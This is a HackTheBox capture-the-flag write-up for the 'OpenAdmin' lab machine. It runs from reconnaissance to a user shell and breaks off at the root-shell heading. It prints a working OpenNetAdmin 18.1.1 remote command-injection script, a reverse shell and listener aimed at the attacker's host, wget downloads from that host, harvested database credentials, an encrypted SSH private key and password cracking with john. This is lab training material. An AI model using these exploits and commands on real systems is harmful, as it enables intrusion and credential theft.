Owning OpenAdmin - HacktheBox 'OpenAdmin' writeup
Owning OpenAdmin - HacktheBox ‘OpenAdmin’ writeup
Host Information
Hostname | IP Address | Operating System | Difficulty Level |
OpenAdmin | 10.10.10.171 | Linux | Easy |
- Owning OpenAdmin - HacktheBox ‘OpenAdmin’ writeup
Initial Recon
nmap information
An initial full TCP nmap scan of the host was run with the followiong command:
nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN "/HTB/openadmin/scans/_full_tcp_nmap.txt" -oX "/HTB/openadmin/scans/xml/_full_tcp_nmap.xml" 10.10.10.171
The following ports were revealed open on the target, followed by the full nmap script ouput below:
10.10.10.171
Port | State | Service | Version |
---|---|---|---|
22/tcp | open | ssh | OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 |
80/tcp | open | http | Apache httpd 2.4.29 |
nmap scan output
# Nmap 7.80 scan initiated Sat Aug 29 12:33:57 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /HTB/openadmin/scans/_full_tcp_nmap.txt -oX /HTB/openadmin/scans/xml/_full_tcp_nmap.xml 10.10.10.171
Nmap scan report for 10.10.10.171
Host is up, received user-set (0.045s latency).
Scanned at 2020-08-29 12:33:58 CDT for 58s
Not shown: 65533 closed ports
Reason: 65533 resets
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcVHOWV8MC41kgTdwiBIBmUrM8vGHUM2Q7+a0LCl9jfH3bIpmuWnzwev97wpc8pRHPuKfKm0c3iHGII+cKSsVgzVtJfQdQ0j/GyDcBQ9s1VGHiYIjbpX30eM2P2N5g2hy9ZWsF36WMoo5Fr+mPNycf6Mf0QOODMVqbmE3VVZE1VlX3pNW4ZkMIpDSUR89JhH+PHz/miZ1OhBdSoNWYJIuWyn8DWLCGBQ7THxxYOfN1bwhfYRCRTv46tiayuF2NNKWaDqDq/DXZxSYjwpSVelFV+vybL6nU0f28PzpQsmvPab4PtMUb0epaj4ZFcB1VVITVCdBsiu4SpZDdElxkuQJz
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHqbD5jGewKxd8heN452cfS5LS/VdUroTScThdV8IiZdTxgSaXN1Qga4audhlYIGSyDdTEL8x2tPAFPpvipRrLE=
| 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBcV0sVI0yWfjKsl7++B9FGfOVeWAIWZ4YGEMROPxxk4
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 (Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Aggressive OS guesses: Linux 3.2 - 4.9 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Linux 3.16 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Android 4.1.1 (92%), Linux 3.18 (92%), Android 4.2.2 (Linux 3.4) (92%)
No exact OS matches for host (If you know what OS is running on it, see (https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=8/29%OT=22%CT=1%CU=34001%PV=Y%DS=2%DC=T%G=Y%TM=5F4A91C
OS:0%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10B%TI=Z%CI=Z%TS=A)OPS(O1=M
OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%
OS:O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%
OS:DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
OS:%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 29.122 days (since Fri Jul 31 09:39:04 2020)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 53/tcp)
HOP RTT ADDRESS
1 43.43 ms 10.10.14.1
2 43.37 ms 10.10.10.171
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at (https://nmap.org/submit/ .
# Nmap done at Sat Aug 29 12:34:56 2020 -- 1 IP address (1 host up) scanned in 60.98 seconds
nmap scan observations
We can see that the target is Linux, probably Ubuntu based on the OS detection and service scans from the SSH service. Some quick searching of the OpenSSH service version shows the Ubuntu version is likely Bionic or later [source here]. We see only two services externally open - HTTP on it’s standard port of TCP 80, running appache 2.4.29. Additionally, SSH is running on it’s standard TCP port 22, showing OpenSSH 7.6p1.
HTTP Enumeration
Beginning by examining the HTTP service, we see there is no robots.txt file on the server. A nikto scan was run against the server but does not provide much information, with the results shown below:
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.171
+ Target Hostname: 10.10.10.171
+ Target Port: 80
+ Start Time: 2020-08-29 12:34:10 (GMT-5)
---------------------------------------------------------------------------
+ Server: Apache/2.4.29 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 597dbd5dcea8b, mtime: gzip
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: GET, POST, OPTIONS, HEAD
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7863 requests: 0 error(s) and 7 item(s) reported on remote host
+ End Time: 2020-08-29 12:41:39 (GMT-5) (449 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Going to the main page of the HTTP service we simply find an Apache test page. A gobuster enumeration script was run to crawl the web service to enumerate pages using the following command:
gobuster dir -u http://10.10.10.171:80/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -z -k -l -x "txt,html,php,asp,aspx,jsp" -o "/HTB/openadmin/scans/tcp_80_http_gobuster.txt"
The following results were found, filtering out for HTTP 403 statuses.
/artwork (Status: 301) [Size: 314]
/index.html (Status: 200) [Size: 10918]
/index.html (Status: 200) [Size: 10918]
/music (Status: 301) [Size: 312]
Viewing the artwork page, we’re greeted wit hthe following, actually showing as “Arcwork” with a C:
Viewing the music page, we see the following:
Both sites state that the theme is provided by colorlib - going to the colorlib link provided shows the following on Colorlib’s site:
“colorlib.
We change everything WordPress. One WP theme at a time.”
Running a larger wordlist against the site, we also see a page called “sierra,” which is shown below:
There’s a contact page on the Sierra site, and viewing the source we can see a linked js file for the contact page at view-source:http://10.10.10.171/sierra/js/contact.js which provides information about required fields and field lengths. Sending a test message on the contact page shows that a POST request is sent to http://10.10.10.171/sierra/contact_process.php with the following body:
name=test&email=test%40test.local&subject=test&message=this+is+a+test+message+more+than+20+chars+-+let's+see+what+happens&0=n&1=a&2=m&3=e&4=%3D&5=t&6=e&7=s&8=t&9=%26&10=e&11=m&12=a&13=i&14=l&15=%3D&16=t&17=e&18=s&19=t&20=%25&21=4&22=0&23=t&24=e&25=s&26=t&27=.&28=l&29=o&30=c&31=a&32=l&33=%26&34=s&35=u&36=b&37=j&38=e&39=c&40=t&41=%3D&42=t&43=e&44=s&45=t&46=%26&47=m&48=e&49=s&50=s&51=a&52=g&53=e&54=%3D&55=t&56=h&57=i&58=s&59=%25&60=2&61=0&62=i&63=s&64=%25&65=2&66=0&67=a&68=%25&69=2&70=0&71=t&72=e&73=s&74=t&75=%25&76=2&77=0&78=m&79=e&80=s&81=s&82=a&83=g&84=e&85=%25&86=2&87=0&88=m&89=o&90=r&91=e&92=%25&93=2&94=0&95=t&96=h&97=a&98=n&99=%25&100=2&101=0&102=2&103=0&104=%25&105=2&106=0&107=c&108=h&109=a&110=r&111=s&112=%25&113=2&114=0&115=-&116=%25&117=2&118=0&119=l&120=e&121=t&122='&123=s&124=%25&125=2&126=0&127=s&128=e&129=e&130=%25&131=2&132=0&133=w&134=h&135=a&136=t&137=%25&138=2&139=0&140=h&141=a&142=p&143=p&144=e&145=n&146=s
A brief bit of time was spent with tampering this message format to see if any kind of command injection, LFI, or RFI could be achieved, but beared no fruit.
Going back to the “Music” page, we see a Login link on the top right, which brings us to a page http://10.10.10.171/ona/, shown below:
This page seems to identify OpenNetAdmin 18.1.1 running. Looking through EDB, we can see some RCE exploits which exist for the service, shown below:
initinfosec@kali:/0ps/HTB/openadmin/exploit$ searchsploit opennetadmin 18.1
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | php/webapps/47772.rb
OpenNetAdmin 18.1.1 - Remote Code Execution | php/webapps/47691.sh
----------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Going to the Menu option on the left and clicking User Info, we can see the following:
Clicking on DNS Domains, which showed a value of “1”, we see the following domain listed: openadmin.htb - let’s add that to our /etc/hosts file.
gaining an initial foothold
Let’s download the bash script version of the exploit shown above with searchsploit -m 47691
The exploit code is shown below:
# Exploit Title: OpenNetAdmin 18.1.1 - Remote Code Execution
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: (https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
# Exploit Title: OpenNetAdmin v18.1.1 RCE
# Date: 2019-11-19
# Exploit Author: mattpascoe
# Vendor Homepage: http://opennetadmin.com/
# Software Link: (https://github.com/opennetadmin/ona
# Version: v18.1.1
# Tested on: Linux
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
It looks like the URL is specified as a single argument, and then ajax is used to gain RCE vai the ping command. Testing the script with the URL of the ona site, we find we’re provided with a www-data shell, as shown below.
Let’s start a listener with nc -lvnp 1234
and try to spawn a more standard shell. As always, be sure to substitute your appropriate IP and port. We’ll use a PHP reverse shell at /usr/share/webshells/php/php-reverse-shell.php. I’ve named it shell.PHP and changed my port appropriately, as shown below:
initinfosec@kali:/0ps/HTB/openadmin/exploit$ grep CHANGE shell.php
$ip = '10.10.14.6'; // CHANGE THIS
$port = 1234; // CHANGE THIS
We can use python to host the shell locally, with sudo python3 -m http.server 80
. Running a “pwd” command, we see we’re in /opt/ona/www, so the shell.php file will probably be after the /ona file. Let’s use wget on the target shell from the RCE exploit to download the shell.
$ wget http://10.10.14.6/shell.php
Going to openadmin.htb/ona/shell.php, we receive the telltale loading that likely indicates our webshell is being executed. Going to our listener, we see we’ve received a more standard shell as the www-data user, as shown below.
Lateral movement
It loosk like we don’t have permission to the user.txt file, so let’s see if we can laterally move. From the /etc/passwd file we see two users that look like non-system accounts: joanna and jimmy:
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
Some browsing around the ona directory shows two potentially interesting config files shown below, but neither appear to have credentials.
www-data@openadmin:/opt/ona/www/config$ ls
ls
auth_ldap.config.php config.inc.php
However, some more poking around shows another directory with a database config file, also shown below.
www-data@openadmin:/opt/ona/www/local/config$ cat database_settings.inc.php
cat database_settings.inc.php
<?php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => 'n1nj4W4rri0R!',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
?>
These crendentials appear to be successful, allowing us to authenticate to and query the database.
?>www-data@openadmin:/opt/ona/www/local/config$ mysql -u ona_sys -p
mysql -u ona_sys -p
Enter password: n1nj4W4rri0R!
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 114
Server version: 5.7.28-0ubuntu0.18.04.4 (Ubuntu)
Copyright (c) 2000, 2019, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> show databases;
show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| ona_default |
+--------------------+
2 rows in set (0.00 sec)
mysql> use ona_default;
use ona_default;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql>
Searching the ona_default database, we can select all from the users table, seeing the following:
mysql> select * from users;
select * from users;
+----+----------+----------------------------------+-------+---------------------+---------------------+
| id | username | password | level | ctime | atime |
+----+----------+----------------------------------+-------+---------------------+---------------------+
| 1 | guest | 098f6bcd4621d373cade4e832627b4f6 | 0 | 2020-08-31 19:57:11 | 2020-08-31 19:57:11 |
| 2 | admin | 21232f297a57a5a743894a0e4a801fc3 | 0 | 2007-10-30 03:00:17 | 2007-12-02 22:10:26 |
+----+----------+----------------------------------+-------+---------------------+---------------------+
Looking up these hashes on crackstation.net, we see guest’s password is “test” and admin’s password is “admin.”
Trying the database password on both Joanna and Jimmy’s account, we see that we are able to successfully login as Jimmy, inidcating that credential re-use occured.
Now as the Jimmy user, we can go back and check out something interesting a noticed while poking around as the www-data user - in /var/www there is a folder named “internal” which the www-data user did not have access to. Jimmy appears to, and it seems to owned by the “internal” group.
jimmy@openadmin:/var/www$ ls -ltra
ls -ltra
total 16
drwxr-xr-x 14 root root 4096 Nov 21 2019 ..
lrwxrwxrwx 1 www-data www-data 12 Nov 21 2019 ona -> /opt/ona/www
drwxr-xr-x 6 www-data www-data 4096 Nov 22 2019 html
drwxr-xr-x 4 root root 4096 Nov 22 2019 .
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 internal
jimmy@openadmin:/var/www$ groups
groups
jimmy internal
In this directory we see a few interesting files:
jimmy@openadmin:/var/www/internal$ ls -ltra
ls -ltra
total 20
drwxr-xr-x 4 root root 4096 Nov 22 2019 ..
-rwxrwxr-x 1 jimmy internal 3229 Nov 22 2019 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 logout.php
-rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 main.php
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 .
On main.php, we see the following:
jimmy@openadmin:/var/www/internal$ cat main.php
cat main.php
<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
?>
<html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
On the index.php file we see the following interesting (trimmed with just a portion of the page showing.):
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758$
ebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
So it seems we may be able to view Joanna’s SSH key if we can have access to the internal section/pages
A Slight Misstep
We don’t appear to have permissions to copy the internal directory to a public www directory. We can however serve the files using python, just as we’ve done from our kali system:
jimmy@openadmin:/var/www/internal$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/)
Visiting the port on which the content is served, we can now see the files:
From here we can download the files locally, and back as the www-data user, copy the to the ona directory. Once downloaded to the local kali system, we can use wget again from the target as www-data to place them in the /ona/www directory, like so:
$ wget http://10.10.14.6/main.php
--2020-08-31 20:38:56-- http://10.10.14.6/main.php
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 339 [application/octet-stream]
Saving to: 'main.php'
0K 100% 3.20M=0s
2020-08-31 20:38:56 (3.20 MB/s) - 'main.php' saved [339/339]
$ wget http://10.10.14.6/index.php
--2020-08-31 20:39:07-- http://10.10.14.6/index.php
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3229 (3.2K) [application/octet-stream]
Saving to: 'index.php.1'
0K ... 100% 627M=0s
2020-08-31 20:39:07 (627 MB/s) - 'index.php.1' saved [3229/3229]
$
Now, going to http://10.10.10.171/ona/index.php.1 we’re presented with a login prompt indicating the PHP code is properly executing. From looking at the code earlier, it looks like we need to be the jimmy user, so let’s enter his username and ninja password and see if that works.
However, trying to login, it seems this fail to load correctly.
Continuing Lateral movement
Wondering if the interal web content was already served locally somewhere, we can go back the check netstat, and see that port 52486 is running on localhost only:
jimmy@openadmin:/var/www$ netstat -alno
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State Timer
tcp 0 0 0.0.0.0:8000 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0)
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0)
[trimmed]
Unfortunately netstat doesn’t show the process tied to the port, so we can’t confirm from that command if httpd/apache or another webserver is running on that port. HOwever, we can try to use SSH to port forward this locally, and see if we have any luck accessing it:
initinfosec@kali:/HTB/openadmin/loot$ ssh -L :52846:localhost:52846 jimmy@openadmin.htb
jimmy@openadmin.htb's password:
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)
* Documentation: (https://help.ubuntu.com
* Management: (https://landscape.canonical.com
* Support: (https://ubuntu.com/advantage
System information as of Mon Aug 31 21:00:44 UTC 2020
Looks like it works as we’re again presented with this page:
However, entering the password found for the database (n1nj4W4rri0R!) doesn’t allow us to login, indicating either the auth function is failing, or the password is different than the one we’ve seen in the database and that works for the login to the system itself. But curling the page locally, we see the following, indicating the PHP script doesn’t do proper validation. This is probably because the PHP script doesn’t have a die function, indicating that regardless of authentication, the rest of the script will still continue, instead of quitting.
immy@openadmin:~$ curl http://localhost:52846/main.php
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
</pre><html>
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session
</html>
Another possibility is that since the files are editable by the ‘jimmy’ user, we may be able to replace the hash within index.php with one known to us. We know that index.php contains a sha512 hash, so let’s create a new one of the string “ninjas2020”
initinfosec@kali:/HTB/openadmin/loot$ echo -n ninjas2020 | sha512sum
35e6596e87d0c59c2c0005c6a21e46bf5cec29d54db8843d272983dba08b7303ceb73887920ee87d8e809e3b5ed66f66ddc43904b1c9de80262647711a468614 -
Keep in mind this would be extremely noisy in the reael world, but we can go ahead and replace the hash, so that index.php ends up looking like the following (only the relevant changed portion shown below):
<h2>Enter Username and Password</h2>
<div class = "container form-signin">
<h2 class="featurette-heading">Login Restricted.<span class="text-muted"></span></h2>
<?php
$msg = '';
if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '35e6596e87d0c59c2c0005c6a21e46bf5cec29d54db8843d272983dba08b7303ceb73887920ee87d8e809e3b5ed66f66ddc43904b1c9de80262647711a468614') {
$_SESSION['username'] = 'jimmy';
header("Location: /main.php");
} else {
$msg = 'Wrong username or password.';
}
}
?>
Now we can go back to the forwarded internal web server, enter the password at the index.php page at http://localhost:52846/index.php, and we find it indeed worked using “jimmy / ninjas2020” to login. Once logged in, we’re directed to main.php as expected and see the following:
From here, we can save the key file, and then use john2ssh, a python script with john the ripper to create a hash from the encrypted SSH key in order to crack the password, as shown below:
initinfosec@kali:/HTB/openadmin/loot$ cat joanna-ssh
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO
ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE
6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ
ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du
y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI
9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4
piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/
/U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH
40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ
fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb
9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80
X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg
S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F
FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh
Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa
RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z
uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr
1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2
XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79
yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM
+4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt
qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt
z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
initinfosec@kali:/0ps/HTB/openadmin/loot$ python /usr/share/john/ssh2john.py joanna-ssh > joanna.hash
initinfosec@kali:/0ps/HTB/openadmin/loot$ john -wordlist:/usr/share/wordlists/rockyou.txt joanna.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (julia-ssh)
Warning: Only 2 candidates left, minimum 4 needed for performance.
1g 0:00:00:09 DONE (2020-08-31 19:01) 0.1078g/s 1547Kp/s 1547Kc/s 1547KC/sa6_123..*7¡Vamos!
Session completed
Ah, so now we see what was meant by the ‘Don’t forget your ninjas password” bit - the password appears to be ‘bloodninjas.’ Smartly, the key password is not shared with the user password, so the bloodninjas password does not work to do su - joanna
or for password-based SSH login. However, simply providing the password as an identify file to ssh using the -i argument, we can connect to the server as joanna, as shown below:
We can now grab the user.txt and proceed to trying to gain root.
Privilege Escalation
PrivEsc Enumeration
The first thing we ran to enumerate when gaining this new user shell turns up some interesting results - it seems joanna has sudo NOPASSWD privileges to run nano against a file /opt/priv.
We see the following information about the sudo version on the system:
joanna@openadmin:~$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2
Gaining a root shell
